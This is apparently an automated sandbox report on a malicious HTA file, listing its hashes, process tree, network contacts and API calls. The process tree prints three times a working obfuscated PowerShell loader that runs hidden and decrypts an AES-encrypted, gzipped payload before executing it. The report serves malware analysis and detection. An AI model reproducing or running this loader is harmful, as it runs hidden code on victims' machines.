popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

twilighttwilight.hta

Generic Malware Antivirus AntiDebug MSOffice File AntiVM PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 Aug. 11, 2023, 4:12 p.m. Aug. 11, 2023, 4:15 p.m.
Size 1.2MB
Type HTML document, ASCII text, with very long lines, with CRLF line terminators
MD5 163b7346917aa5936bac2b3cb67df947
SHA256 b237a8ffc9f5e6745ebad7d1a8a27905f471ac89af9dd5a744222a7ad2709e34
CRC32 42ADFB49
ssdeep 3072:32fol+tDk3g2YsUgeahAAZHc2yGDVvIffEYH:32fol+lwYsUghzpIffEYH
Yara None matched

  • iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\test22\AppData\Local\Temp\twilighttwilight.hta.html

    1636

    • iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:1636 CREDAT:145409

      2224

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $CkSLmk = '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';$RKBuOgG = 'WkpPdFFEUmlkeE1BWHhQdVRXWGxUQlJmbVhpV2F1cUQ=';$fCmxgee = New-Object 'System.Security.Cryptography.AesManaged';$fCmxgee.Mode = [System.Security.Cryptography.CipherMode]::ECB;$fCmxgee.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$fCmxgee.BlockSize = 128;$fCmxgee.KeySize = 256;$fCmxgee.Key = [System.Convert]::FromBase64String($RKBuOgG);$Uqnei = [System.Convert]::FromBase64String($CkSLmk);$GAxymHXH = $Uqnei[0..15];$fCmxgee.IV = $GAxymHXH;$SboptnKnB = $fCmxgee.CreateDecryptor();$cvXoOACnM = $SboptnKnB.TransformFinalBlock($Uqnei, 16, $Uqnei.Length - 16);$fCmxgee.Dispose();$BmTYf = New-Object System.IO.MemoryStream( , $cvXoOACnM );$NKsaF = New-Object System.IO.MemoryStream;$RPUZWJJzc = New-Object System.IO.Compression.GzipStream $BmTYf, ([IO.Compression.CompressionMode]::Decompress);$RPUZWJJzc.CopyTo( $NKsaF );$RPUZWJJzc.Close();$BmTYf.Close();[byte[]] $ZmSVO = $NKsaF.ToArray();$lVlGq = [System.Text.Encoding]::UTF8.GetString($ZmSVO);$lVlGq | powershell - }

        564

        • cmd.exe "C:\Windows\system32\cmd.exe" /c powershell.exe $CkSLmk = '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';$RKBuOgG = 'WkpPdFFEUmlkeE1BWHhQdVRXWGxUQlJmbVhpV2F1cUQ=';$fCmxgee = New-Object 'System.Security.Cryptography.AesManaged';$fCmxgee.Mode = [System.Security.Cryptography.CipherMode]::ECB;$fCmxgee.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$fCmxgee.BlockSize = 128;$fCmxgee.KeySize = 256;$fCmxgee.Key = [System.Convert]::FromBase64String($RKBuOgG);$Uqnei = [System.Convert]::FromBase64String($CkSLmk);$GAxymHXH = $Uqnei[0..15];$fCmxgee.IV = $GAxymHXH;$SboptnKnB = $fCmxgee.CreateDecryptor();$cvXoOACnM = $SboptnKnB.TransformFinalBlock($Uqnei, 16, $Uqnei.Length - 16);$fCmxgee.Dispose();$BmTYf = New-Object System.IO.MemoryStream( , $cvXoOACnM );$NKsaF = New-Object System.IO.MemoryStream;$RPUZWJJzc = New-Object System.IO.Compression.GzipStream $BmTYf, ([IO.Compression.CompressionMode]::Decompress);$RPUZWJJzc.CopyTo( $NKsaF );$RPUZWJJzc.Close();$BmTYf.Close();[byte[]] $ZmSVO = $NKsaF.ToArray();$lVlGq = [System.Text.Encoding]::UTF8.GetString($ZmSVO);$lVlGq | powershell -

          2940

          • powershell.exe powershell.exe $CkSLmk = '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';$RKBuOgG = 'WkpPdFFEUmlkeE1BWHhQdVRXWGxUQlJmbVhpV2F1cUQ=';$fCmxgee = New-Object 'System.Security.Cryptography.AesManaged';$fCmxgee.Mode = [System.Security.Cryptography.CipherMode]::ECB;$fCmxgee.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$fCmxgee.BlockSize = 128;$fCmxgee.KeySize = 256;$fCmxgee.Key = [System.Convert]::FromBase64String($RKBuOgG);$Uqnei = [System.Convert]::FromBase64String($CkSLmk);$GAxymHXH = $Uqnei[0..15];$fCmxgee.IV = $GAxymHXH;$SboptnKnB = $fCmxgee.CreateDecryptor();$cvXoOACnM = $SboptnKnB.TransformFinalBlock($Uqnei, 16, $Uqnei.Length - 16);$fCmxgee.Dispose();$BmTYf = New-Object System.IO.MemoryStream( , $cvXoOACnM );$NKsaF = New-Object System.IO.MemoryStream;$RPUZWJJzc = New-Object System.IO.Compression.GzipStream $BmTYf, ([IO.Compression.CompressionMode]::Decompress);$RPUZWJJzc.CopyTo( $NKsaF );$RPUZWJJzc.Close();$BmTYf.Close();[byte[]] $ZmSVO = $NKsaF.ToArray();$lVlGq = [System.Text.Encoding]::UTF8.GetString($ZmSVO);$lVlGq

            1884

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
117.18.232.200 Active Moloch
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

